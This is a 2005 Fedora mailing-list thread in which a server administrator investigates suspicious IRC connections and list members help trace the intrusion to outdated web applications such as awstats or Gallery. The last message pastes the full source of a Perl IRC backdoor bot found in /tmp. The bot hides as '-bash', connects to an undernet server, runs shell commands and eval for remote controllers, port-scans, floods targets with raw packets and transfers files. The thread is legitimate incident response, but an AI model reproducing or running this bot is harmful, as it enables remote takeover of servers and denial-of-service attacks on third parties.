Hello,
Upon checking my MRTG stats on a webserver I am running I found my traffic to be up considerably and the server to be a bit slow. After taking a look at my active connections to processes with netstat -nap I found these to be scary:
tcp 0 0 204.11.33.35:110 198.88.119.254:23781 TIME_WAIT - tcp 0 0 204.11.33.35:37326 161.53.2.81:6667 ESTABLISHED 16035/-bash tcp 0 0 204.11.33.35:110 198.88.119.254:23776 TIME_WAIT - tcp 0 0 204.11.33.35:110 198.88.119.254:23791 TIME_WAIT - tcp 0 0 204.11.33.35:110 198.88.119.254:23775 TIME_WAIT - tcp 0 0 204.11.33.35:110 198.88.119.254:23790 TIME_WAIT - tcp 0 0 204.11.33.35:110 198.88.119.254:23774 TIME_WAIT - tcp 0 0 204.11.33.35:37350 195.197.175.21:6667 ESTABLISHED 16324/-bash tcp 0 0 204.11.33.35:37325 194.134.7.195:6667 ESTABLISHED 16026/-bash tcp 0 0 204.11.33.35:110 198.88.119.254:23785 TIME_WAIT -
These established connections show -bash as the process running the port. I have firewalled these IP's off at my firewall, however, I can't find the root cause of this. I have ran chkrootkit and found nothing. However, this is very scary.
Could anyone provide me some clues on how to proceed at this point with my investigation.
-cs
Am Mi, den 02.03.2005 schrieb Chris Strzelczyk um 22:53:
processes with netstat -nap I found these to be scary:
tcp 0 0 204.11.33.35:110 198.88.119.254:23781 TIME_WAIT - tcp 0 0 204.11.33.35:37326 161.53.2.81:6667 ESTABLISHED 16035/-bash tcp 0 0 204.11.33.35:110 198.88.119.254:23776 TIME_WAIT - tcp 0 0 204.11.33.35:110 198.88.119.254:23791 TIME_WAIT - tcp 0 0 204.11.33.35:110 198.88.119.254:23775 TIME_WAIT - tcp 0 0 204.11.33.35:110 198.88.119.254:23790 TIME_WAIT - tcp 0 0 204.11.33.35:110 198.88.119.254:23774 TIME_WAIT - tcp 0 0 204.11.33.35:37350 195.197.175.21:6667 ESTABLISHED 16324/-bash tcp 0 0 204.11.33.35:37325 194.134.7.195:6667 ESTABLISHED 16026/-bash tcp 0 0 204.11.33.35:110 198.88.119.254:23785 TIME_WAIT -
These established connections show -bash as the process running the port. I have firewalled these IP's off at my firewall, however, I can't find the root cause of this. I have ran chkrootkit and found nothing. However, this is very scary.
Could anyone provide me some clues on how to proceed at this point with my investigation.
-cs
Port 6667 is default standard port for an irc server. By any chance, do you run Apache and a phpBB forum?
Alexander
I do run Apache but not a phpBB form. Is there some hole in Apache that I am not aware off which allows users to run IRC?
Thank you for your help -cs On Mar 2, 2005, at 5:41 PM, Alexander Dalloz wrote:
Am Mi, den 02.03.2005 schrieb Chris Strzelczyk um 22:53:
processes with netstat -nap I found these to be scary:
tcp 0 0 204.11.33.35:110 198.88.119.254:23781 TIME_WAIT - tcp 0 0 204.11.33.35:37326 161.53.2.81:6667 ESTABLISHED 16035/-bash tcp 0 0 204.11.33.35:110 198.88.119.254:23776 TIME_WAIT - tcp 0 0 204.11.33.35:110 198.88.119.254:23791 TIME_WAIT - tcp 0 0 204.11.33.35:110 198.88.119.254:23775 TIME_WAIT - tcp 0 0 204.11.33.35:110 198.88.119.254:23790 TIME_WAIT - tcp 0 0 204.11.33.35:110 198.88.119.254:23774 TIME_WAIT - tcp 0 0 204.11.33.35:37350 195.197.175.21:6667 ESTABLISHED 16324/-bash tcp 0 0 204.11.33.35:37325 194.134.7.195:6667 ESTABLISHED 16026/-bash tcp 0 0 204.11.33.35:110 198.88.119.254:23785 TIME_WAIT -
These established connections show -bash as the process running the port. I have firewalled these IP's off at my firewall, however, I can't find the root cause of this. I have ran chkrootkit and found nothing. However, this is very scary.
Could anyone provide me some clues on how to proceed at this point with my investigation.
-cs
Port 6667 is default standard port for an irc server. By any chance, do you run Apache and a phpBB forum?
Alexander
-- Alexander Dalloz | Enger, Germany | GPG http://pgp.mit.edu 0xB366A773 legal statement: http://www.uni-x.org/legal.html Fedora Core 2 GNU/Linux on Athlon with kernel 2.6.10-1.14_FC2smp Serendipity 23:40:52 up 9 days, 10:49, load average: 0.91, 0.56, 0.39 -- fedora-list mailing list fedora-list@redhat.com To unsubscribe: http://www.redhat.com/mailman/listinfo/fedora-list
Am Mi, den 02.03.2005 schrieb Chris Strzelczyk um 23:46:
I do run Apache but not a phpBB form. Is there some hole in Apache that I am not aware off which allows users to run IRC?
-cs
Please avoid top-posting and quoting the full previous mail.
I asked for whether running phpBB because there are worms which use a weakness of this forum application. It is a trojan and establishes an irc connection. I don't know if some worm versions use bash, I heard of those using Perl. Well, you have the PID of the suspicious connections to irc server (you can connect to the listed IPs using telnet to see they are really running an ircd) and locate where they are coming from, who owns these PIDs. I would worry for these connections. Although you gave too less information to be serious about what it means. So you didn't say whether you have users on the host in question which could use specific programs. At least bash to irc servers seem very uncommon to me.
Alexander
Sorry for the long posts I didn't know if attachments were allowed or frowned upon. Now that I have been given the rules I will obey them.
"Well, you have the PID of the suspicious connections to irc server (you can connect to the listed IPs using telnet to see they are really running an ircd) and locate where they are coming from, who owns these PIDs. I would worry for these connections. Although you gave too less information to be serious about what it means. So you didn't say whether you have users on the host in question which could use specific programs. At least bash to irc servers seem very uncommon to me."
I do not have users on the system which are at all capable of something like this. This server runs sendmail, httpd, named, ftp, mysql (not accessible from outside yet), pop3, squrrelmail (dovecot imap).
I will start by looking at all those for recent security postings. Since the program in /tmp was owned by apache:apache I would imagine that the intruder used httpd to preform their exploit. That is where I'm at so far.
Thank you for all your help.
-cs
Am Do, den 03.03.2005 schrieb Chris Strzelczyk um 0:29:
Sorry for the long posts I didn't know if attachments were allowed or frowned upon. Now that I have been given the rules I will obey them.
Small attachments like configuration files are allowed. Just don't reply by presenting your new content above the the mail content you reply to. Quote whats needed to understand your new contribution and strip off the rest. Place the reply text below the quote. Thanks :)
I do not have users on the system which are at all capable of something like this. This server runs sendmail, httpd, named, ftp, mysql (not accessible from outside yet), pop3, squrrelmail (dovecot imap).
I will start by looking at all those for recent security postings. Since the program in /tmp was owned by apache:apache I would imagine that the intruder used httpd to preform their exploit. That is where I'm at so far.
-cs
See Dave's and Leonard's replies. Your system is owned! :( And as it looks it is the worm / trojan known to come in by weak phpBB installs. I would heavily appreciate if you would us all inform how that could happen. You always installed security updates quickly? Do you have something running with Apache which can be misused? When the phpBB worm info came in through bugtraq I installed mod_security to disallow specific things. It is a nice add-on for Apache (1.3 and 2.0). I use it to restrict those ways the phpBB worm comes in as some of my users use that forum software. http://www.modsecurity.org/ is though more general and not a phpBB protection tool. Worth to have a look at it.
Alexander
Thanks,
I will take a serious look at mod_security. I do install security updates which is why I believe this to be my error on the configuration side and not a hole.
Thanks for all you help. -cs On Mar 2, 2005, at 7:03 PM, Alexander Dalloz wrote:
See Dave's and Leonard's replies. Your system is owned! :( And as it looks it is the worm / trojan known to come in by weak phpBB installs. I would heavily appreciate if you would us all inform how that could happen. You always installed security updates quickly? Do you have something running with Apache which can be misused? When the phpBB worm info came in through bugtraq I installed mod_security to disallow specific things. It is a nice add-on for Apache (1.3 and 2.0). I use it to restrict those ways the phpBB worm comes in as some of my users use that forum software. http://www.modsecurity.org/ is though more general and not a phpBB protection tool. Worth to have a look at it.
On Wed, 2005-03-02 at 19:37 -0500, Chris Strzelczyk wrote:
Thanks,
I will take a serious look at mod_security. I do install security updates which is why I believe this to be my error on the configuration side and not a hole.
Thanks for all you help. -cs
Chris, You have been asked twice to NOT top post. Alexander explained the proper way to post in a mailing list to maintain readability.
Please put your answers _following_ the text it applies to, so we all can follow in a normal reading pattern the entire discussion.
Your definition of a "hole" is inadequate. Flawed software can leave an exploitable weakness, but insecure configurations can also (and often does) cause a hole as well.
The fact that you have things up to date is not sufficient reason to feel totally secure. Security requires continuous vigilance.
On Mar 2, 2005, at 7:03 PM, Alexander Dalloz wrote:
I would heavily appreciate if you would us all inform how that could happen. You always installed security updates quickly?
The only thing I can see right now is a cgi application called click cart pro or a php application called gallery. Other than that I have not other applications running on this webserver that execute. I don't want to point the finger at any application just yet until I do a little investigating.
Thanks, -cs
Am Do, den 03.03.2005 schrieb Chris Strzelczyk um 1:49:
I would heavily appreciate if you would us all inform how that could happen. You always installed security updates quickly?
The only thing I can see right now is a cgi application called click cart pro or a php application called gallery. Other than that I have not other applications running on this webserver that execute. I don't want to point the finger at any application just yet until I do a little investigating.
Thanks, -cs
gallery.sf.net? This is too a PHP application with frequent security updates - often enough for serious issues. Do you run an old version? "Cart Pro" does not tell me anything.
Alexander
On Mar 2, 2005, at 7:57 PM, Alexander Dalloz wrote:
gallery.sf.net? This is too a PHP application with frequent security updates - often enough for serious issues. Do you run an old version? "Cart Pro" does not tell me anything.
Alexander
I am running Click Cart Pro 5.1.6. The gallery version v 1.28 so that is a little out of date. Sadly, I keep my main applications up to date however, the scripts that are run by them I have lapsed on. I guess it takes a good lesson to be learned sometimes which remains for a lifetime.
-cs
Am Do, den 03.03.2005 schrieb Chris Strzelczyk um 2:42:
I am running Click Cart Pro 5.1.6. The gallery version v 1.28 so that is a little out of date. Sadly, I keep my main applications up to date however, the scripts that are run by them I have lapsed on. I guess it takes a good lesson to be learned sometimes which remains for a lifetime.
-cs
Gallery version 1.28? I do not verbosely comment on this :| If you have a close look at the security advises of that PHP application project page you will see lots of severe warnings to update sind 1.28 was current. So I think there is a good chance that the bad boy misused your gallery.
Alexander
Chris Strzelczyk wrote:
The only thing I can see right now is a cgi application called click cart pro or a php application called gallery. Other than that I have not other applications running on this webserver that execute. I don't want to point the finger at any application just yet until I do a little investigating.
Are you running any other perl applications that you are aware of? Out of curiosity, are you running a website statistical gathering tool called awstats?
On Mar 2, 2005, at 10:37 PM, Matt Florido wrote:
Are you running any other perl applications that you are aware of? Out of curiosity, are you running a website statistical gathering tool called awstats?
Yes I am running awstats 6.1. I was just looking into this application as I forgot to list it in my previous emails. I am two versions back with some security holes listed. This is somewhat of a learning experience and I will make sure I am never behind in these small programs again.
=cs
Chris Strzelczyk wrote:
On Mar 2, 2005, at 10:37 PM, Matt Florido wrote:
Are you running any other perl applications that you are aware of? Out of curiosity, are you running a website statistical gathering tool called awstats?
Yes I am running awstats 6.1. I was just looking into this application as I forgot to list it in my previous emails. I am two versions back with some security holes listed. This is somewhat of a learning experience and I will make sure I am never behind in these small programs again.
=cs
I ask because phpBB.com was recently hacked (along with various other sites) and they isolated this application as the suspected commonality.
On Wed, 2005-03-02 at 22:53 -0500, Chris Strzelczyk wrote:
On Mar 2, 2005, at 10:37 PM, Matt Florido wrote:
Are you running any other perl applications that you are aware of? Out of curiosity, are you running a website statistical gathering tool called awstats?
Yes I am running awstats 6.1. I was just looking into this application as I forgot to list it in my previous emails. I am two versions back with some security holes listed. This is somewhat of a learning experience and I will make sure I am never behind in these small programs again.
=cs
I just had a client's server owned because of awstats. There was a security release on 24 February.
Thomas
On Thu, 2005-03-03 at 01:03 +0100, Alexander Dalloz wrote: ...snip...
See Dave's and Leonard's replies. Your system is owned! :( And as it looks it is the worm / trojan known to come in by weak phpBB installs. I would heavily appreciate if you would us all inform how that could happen. You always installed security updates quickly? Do you have something running with Apache which can be misused? When the phpBB worm info came in through bugtraq I installed mod_security to disallow specific things. It is a nice add-on for Apache (1.3 and 2.0). I use it to restrict those ways the phpBB worm comes in as some of my users use that forum software. http://www.modsecurity.org/ is though more general and not a phpBB protection tool. Worth to have a look at it.
Alexander
...snip... Awesome, I have checked it out and sent a link to my admin friends.
The resources link points to some other excellent info as well.
I am in the process of writing a PHP based account management system for a FreeRadius server we will be implementing. Your timing could not have been better. I have built most of the hard parts and put them in abstracted libraries. I have also come up with some good schemes to thwart hackers, by restricting access to "internal" forms from "external" sources, but modsecurity will likely enable me to make the security more robust.
Thanks for the heads up.
Apache yes but no phpBB.
I an running a combo or nmap / nessus / chkrootkit on this server now. I guess I wish I would have installed tripwire to, cause now I am super paranoid.
Thanks for the help.
-cs On Mar 2, 2005, at 5:41 PM, Alexander Dalloz wrote:
Am Mi, den 02.03.2005 schrieb Chris Strzelczyk um 22:53:
processes with netstat -nap I found these to be scary:
tcp 0 0 204.11.33.35:110 198.88.119.254:23781 TIME_WAIT - tcp 0 0 204.11.33.35:37326 161.53.2.81:6667 ESTABLISHED 16035/-bash tcp 0 0 204.11.33.35:110 198.88.119.254:23776 TIME_WAIT - tcp 0 0 204.11.33.35:110 198.88.119.254:23791 TIME_WAIT - tcp 0 0 204.11.33.35:110 198.88.119.254:23775 TIME_WAIT - tcp 0 0 204.11.33.35:110 198.88.119.254:23790 TIME_WAIT - tcp 0 0 204.11.33.35:110 198.88.119.254:23774 TIME_WAIT - tcp 0 0 204.11.33.35:37350 195.197.175.21:6667 ESTABLISHED 16324/-bash tcp 0 0 204.11.33.35:37325 194.134.7.195:6667 ESTABLISHED 16026/-bash tcp 0 0 204.11.33.35:110 198.88.119.254:23785 TIME_WAIT -
These established connections show -bash as the process running the port. I have firewalled these IP's off at my firewall, however, I can't find the root cause of this. I have ran chkrootkit and found nothing. However, this is very scary.
Could anyone provide me some clues on how to proceed at this point with my investigation.
-cs
Port 6667 is default standard port for an irc server. By any chance, do you run Apache and a phpBB forum?
Alexander
-- Alexander Dalloz | Enger, Germany | GPG http://pgp.mit.edu 0xB366A773 legal statement: http://www.uni-x.org/legal.html Fedora Core 2 GNU/Linux on Athlon with kernel 2.6.10-1.14_FC2smp Serendipity 23:40:52 up 9 days, 10:49, load average: 0.91, 0.56, 0.39 -- fedora-list mailing list fedora-list@redhat.com To unsubscribe: http://www.redhat.com/mailman/listinfo/fedora-list
Alright well not it's certain I have a friend on my system. I have found this file named "https" on my system in /tmp
I'm not as PERL savy as I want to be but it does open IRC on the server. The file is owned by apache:apache. So it looks like my friend is using Apache as a tool. Would anybody have a clue on how he could get this in tmp and then run it? The file was not set executable either.
#!/usr/bin/perl # ################ perl ################################################################# # # # # # #testscript - System & Network Security # # # #
# # # my $processo = '-bash'; #----------------------------------------------## my $linas_max='10'; # #----------------------------------------------# my $sleep='3'; # # # # # PERL HELP SCRIPT # # # my @adms=("_mihaiu","mihaiu`",); # #---------------------------------------------- ################################################ my @canais=("#aseasi :lametrapchan","#aseasi :lametrapchan"); # #---------------------------------------------- ################################################ my $nick= 'bug'; # #---------------------------------------------- ################################################ my $ircname = 'bitch'; # #---------------------------------------------- ################################################ chop (my $realname = `screw`); # #---------------------------------------------- ################################################ $servidor='eu.undernet.org' # unless $servidor; # #---------------------------------------------- ################################################ my $porta='6667'; # # # # # my $secv = 1; # # # ######################################################################## #######################
my $VERSAO = '1.0';
$SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE';
use IO::Socket; use Socket; use IO::Select; chdir("/"); $servidor="$ARGV[0]" if $ARGV[0]; $0="$processo"."\0"x16;; my $pid=fork; exit if $pid; die "Problem with fork: $!" unless defined($pid);
our %irc_servers; our %DCC; my $dcc_sel = new IO::Select->new();
############################# # #############################
$sel_cliente = IO::Select->new(); sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } }
sub conectar { my $meunick = $_[0]; my $servidor_con = $_[1]; my $porta_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1); $sel_cliente->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; nick("$meunick"); sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname"); sleep 1; }
} my $line_temp; while( 1 ) { while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); } delete($irc_servers{''}) if (defined($irc_servers{''})); &DCC::connections; my @ready = $sel_cliente->can_read(0); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $meunick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $msg, 4096); if ($nread == 0) { $sel_cliente->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $msg);
for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line=$line_temp.$line if ($line_temp); $line_temp=''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :***/) { parse("$line"); } else { $line_temp = $line; } } } } }
sub parse { my $servarg = shift; if ($servarg =~ /^PING :(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^:(.+?)!(.+?)@(.+?) PRIVMSG (.+?) :(.+)/) { my $pn=$1; my $onde = $4; my $args = $5; if ($args =~ /^\001VERSION\001$/) { notice("$pn", "\001VERSION rootworm-$VERSAO in perl \001"); } if (grep {$_ =~ /^\Q$pn\E$/i } @adms) { if ($onde eq "$meunick"){ shell("$pn", "$args"); } if ($args =~ /^(\Q$meunick\E|!yas)\s+(.*)/ ) { my $natrix = $1; my $arg = $2; if ($arg =~ /^!(.*)/) { ircase("$pn","$onde","$1") unless ($natrix eq "!yas" and $arg =~ /^!nick/); } elsif ($arg =~ /^@(.*)/) { $ondep = $onde; $ondep = $pn if $onde eq $meunick; bfunc("$ondep","$1"); } else { shell("$onde", "$arg"); } } } } elsif ($servarg =~ /^:(.+?)!(.+?)@(.+?)\s+NICK\s+:(\S+)/i) { if (lc($1) eq lc($meunick)) { $meunick=$4; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; } } elsif ($servarg =~ m/^:(.+?)\s+433/i) { nick("$meunick".int rand(9999)); } elsif ($servarg =~ m/^:(.+?)\s+001\s+(\S+)\s/i) { $meunick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; foreach my $canal (@canais) { sendraw("JOIN $canal"); } } }
sub bfunc { my $printl = $_[0]; my $funcarg = $_[1]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { if ($funcarg =~ /^portscan (.*)/) { my $hostip="$1"; my @portas=("21","22","23","25","53","80","110","143"); my (@aberta, %porta_banner); foreach my $porta (@portas) { my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4); if ($scansock) { push (@aberta, $porta); $scansock->close; } }
if (@aberta) { sendraw($IRC_cur_socket, "PRIVMSG $printl :portas abertas: @aberta"); } else { sendraw($IRC_cur_socket,"PRIVMSG $printl :no open doors found"); } } if ($funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) { my ($dtime, %pacotes) = attacker("$1", "$2", "$3"); $dtime = 1 if $dtime == 0; my %bytes; $bytes{igmp} = $2 * $pacotes{igmp}; $bytes{icmp} = $2 * $pacotes{icmp}; $bytes{o} = $2 * $pacotes{o}; $bytes{udp} = $2 * $pacotes{udp}; $bytes{tcp} = $2 * $pacotes{tcp};
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status GERAL -\002"); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s"); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + $pacotes{o})); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o})); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002MÈdia de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
} exit; } } }
sub ircase { my ($kem, $printl, $case) = @_;
if ($case =~ /^join (.*)/) { j("$1"); } if ($case =~ /^part (.*)/) { p("$1"); } if ($case =~ /^rejoin\s+(.*)/) { my $chan = $1; if ($chan =~ /^(\d+) (.*)/) { for (my $ca = 1; $ca <= $1; $ca++ ) { p("$2"); j("$2"); } } else { p("$chan"); j("$chan"); } } if ($case =~ /^op/) { op("$printl", "$kem") if $case eq "op"; my $oarg = substr($case, 3); op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } if ($case =~ /^deop/) { deop("$printl", "$kem") if $case eq "deop"; my $oarg = substr($case, 5); deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } if ($case =~ /^voice/) { voice("$printl", "$kem") if $case eq "voice"; $oarg = substr($case, 6); voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } if ($case =~ /^devoice/) { devoice("$printl", "$kem") if $case eq "devoice"; $oarg = substr($case, 8); devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } if ($case =~ /^msg\s+(\S+) (.*)/) { msg("$1", "$2"); } if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { for (my $cf = 1; $cf <= $1; $cf++) { msg("$2", "$3"); } } if ($case =~ /^ctcp\s+(\S+) (.*)/) { ctcp("$1", "$2"); } if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { for (my $cf = 1; $cf <= $1; $cf++) { ctcp("$2", "$3"); } } if ($case =~ /^invite\s+(\S+) (.*)/) { invite("$1", "$2"); } if ($case =~ /^nick (.*)/) { nick("$1"); } if ($case =~ /^conecta\s+(\S+)\s+(\S+)/) { conectar("$2", "$1", 6667); } if ($case =~ /^send\s+(\S+)\s+(\S+)/) { DCC::SEND("$1", "$2"); } if ($case =~ /^raw (.*)/) { sendraw("$1"); } if ($case =~ /^eval (.*)/) { eval "$1"; } } sub shell { return unless $secv; my $printl=$_[0]; my $comando=$_[1]; if ($comando =~ /cd (.*)/) { chdir("$1") || msg("$printl", "Dir doesnt exist!"); return; } elsif ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my @resp=`$comando 2>&1 3>&1`; my $c=0; foreach my $linha (@resp) { $c++; chop $linha; sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha"); if ($c == "$linas_max") { $c=0; sleep $sleep; } } exit; } } }
#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki sub attacker { my $iaddr = inet_aton($_[0]); my $msg = 'B' x $_[1]; my $ftime = $_[2]; my $cp = 0; my (%pacotes); $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++; socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++; socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++; socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++; return(undef) if $cp == 4; my $itime = time; my ($cur_time); while ( 1 ) { for (my $porta = 1; $porta <= 65535; $porta++) { $cur_time = time - $itime; last if $cur_time >= $ftime; send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++; send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++; send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++; send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
# DoS ?? :P for (my $pc = 3; $pc <= 255;$pc++) { next if $pc == 6; $cur_time = time - $itime; last if $cur_time >= $ftime; socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next; send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;; } } last if $cur_time >= $ftime; } return($cur_time, %pacotes); }
############# # ALIASES # #############
sub action { return unless $#_ == 1; sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001"); }
sub ctcp { return unless $#_ == 1; sendraw("PRIVMSG $_[0] :\001$_[1]\001"); } sub msg { return unless $#_ == 1; sendraw("PRIVMSG $_[0] :$_[1]"); }
sub notice { return unless $#_ == 1; sendraw("NOTICE $_[0] :$_[1]"); }
sub op { return unless $#_ == 1; sendraw("MODE $_[0] +o $_[1]"); } sub deop { return unless $#_ == 1; sendraw("MODE $_[0] -o $_[1]"); } sub hop { return unless $#_ == 1; sendraw("MODE $_[0] +h $_[1]"); } sub dehop { return unless $#_ == 1; sendraw("MODE $_[0] +h $_[1]"); } sub voice { return unless $#_ == 1; sendraw("MODE $_[0] +v $_[1]"); } sub devoice { return unless $#_ == 1; sendraw("MODE $_[0] -v $_[1]"); } sub ban { return unless $#_ == 1; sendraw("MODE $_[0] +b $_[1]"); } sub unban { return unless $#_ == 1; sendraw("MODE $_[0] -b $_[1]"); } sub kick { return unless $#_ == 1; sendraw("KICK $_[0] $_[1] :$_[2]"); }
sub modo { return unless $#_ == 0; sendraw("MODE $_[0] $_[1]"); } sub mode { modo(@_); }
sub j { &join(@_); } sub join { return unless $#_ == 0; sendraw("JOIN $_[0]"); } sub p { part(@_); } sub part {sendraw("PART $_[0]");}
sub nick { return unless $#_ == 0; sendraw("NICK $_[0]"); }
sub invite { return unless $#_ == 1; sendraw("INVITE $_[1] $_[0]"); } sub topico { return unless $#_ == 1; sendraw("TOPIC $_[0] $_[1]"); } sub topic { topico(@_); }
sub whois { return unless $#_ == 0; sendraw("WHOIS $_[0]"); } sub who { return unless $#_ == 0; sendraw("WHO $_[0]"); } sub names { return unless $#_ == 0; sendraw("NAMES $_[0]"); } sub away { sendraw("AWAY $_[0]"); } sub back { away(); } sub quit { sendraw("QUIT :$_[0]"); }
# DCC package DCC;
sub connections { my @ready = $dcc_sel->can_read(1); # return unless (@ready); foreach my $fh (@ready) { my $dcctipo = $DCC{$fh}{tipo}; my $arquivo = $DCC{$fh}{arquivo}; my $bytes = $DCC{$fh}{bytes}; my $cur_byte = $DCC{$fh}{curbyte}; my $nick = $DCC{$fh}{nick};
my $msg; my $nread = sysread($fh, $msg, 10240);
if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) { $DCC{$fh}{status} = "Cancelado"; $DCC{$fh}{ftime} = time; $dcc_sel->remove($fh); $fh->close; next; }
if ($dcctipo eq "get") { $DCC{$fh}{curbyte} += length($msg);
my $cur_byte = $DCC{$fh}{curbyte};
open(FILE, ">> $arquivo"); print FILE "$msg" if ($cur_byte <= $bytes); close(FILE);
my $packbyte = pack("N", $cur_byte); print $fh "$packbyte";
if ($bytes == $cur_byte) { $dcc_sel->remove($fh); $fh->close; $DCC{$fh}{status} = "Recived"; $DCC{$fh}{ftime} = time; next; } } elsif ($dcctipo eq "send") { my $send = $fh->accept; $send->autoflush(1); $dcc_sel->add($send); $dcc_sel->remove($fh); $DCC{$send}{tipo} = 'sendcon'; $DCC{$send}{itime} = time; $DCC{$send}{nick} = $nick; $DCC{$send}{bytes} = $bytes; $DCC{$send}{curbyte} = 0; $DCC{$send}{arquivo} = $arquivo; $DCC{$send}{ip} = $send->peerhost; $DCC{$send}{porta} = $send->peerport; $DCC{$send}{status} = "Enviando";
#de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon open(FILE, "< $arquivo"); my $fbytes; read(FILE, $fbytes, 1024); print $send "$fbytes"; close FILE; # delete($DCC{$fh}); } elsif ($dcctipo eq 'sendcon') { my $bytes_sended = unpack("N", $msg); $DCC{$fh}{curbyte} = $bytes_sended; if ($bytes_sended == $bytes) { $fh->close; $dcc_sel->remove($fh); $DCC{$fh}{status} = "Enviado"; $DCC{$fh}{ftime} = time; next; } open(SENDFILE, "< $arquivo"); seek(SENDFILE, $bytes_sended, 0); my $send_bytes; read(SENDFILE, $send_bytes, 1024); print $fh "$send_bytes"; close(SENDFILE); } } }
sub SEND { my ($nick, $arquivo) = @_; unless (-r "$arquivo") { return(0); }
my $dccark = $arquivo; $dccark =~ s/[.*/](\S+)/$1/;
my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'}; my $longip = unpack("N",inet_aton($meuip));
my @filestat = stat($arquivo); my $size_total=$filestat[7]; if ($size_total == 0) { return(0); }
my ($porta, $sendsock); do { $porta = int rand(64511); $porta += 1024; $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock); } until $sendsock;
$DCC{$sendsock}{tipo} = 'send'; $DCC{$sendsock}{nick} = $nick; $DCC{$sendsock}{bytes} = $size_total; $DCC{$sendsock}{arquivo} = $arquivo;
&::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
}
sub GET { my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_; return(0) if (-e "$arquivo"); if (open(FILE, "> $arquivo")) { close FILE; } else { return(0); }
my $dccip=fixaddr($dcclongip); return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1); my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0); $dccsock->autoflush(1); $dcc_sel->add($dccsock); $DCC{$dccsock}{tipo} = 'get'; $DCC{$dccsock}{itime} = time; $DCC{$dccsock}{nick} = $nick; $DCC{$dccsock}{bytes} = $bytes; $DCC{$dccsock}{curbyte} = 0; $DCC{$dccsock}{arquivo} = $arquivo; $DCC{$dccsock}{ip} = $dccip; $DCC{$dccsock}{porta} = $dccporta; $DCC{$dccsock}{status} = "Recebendo"; }
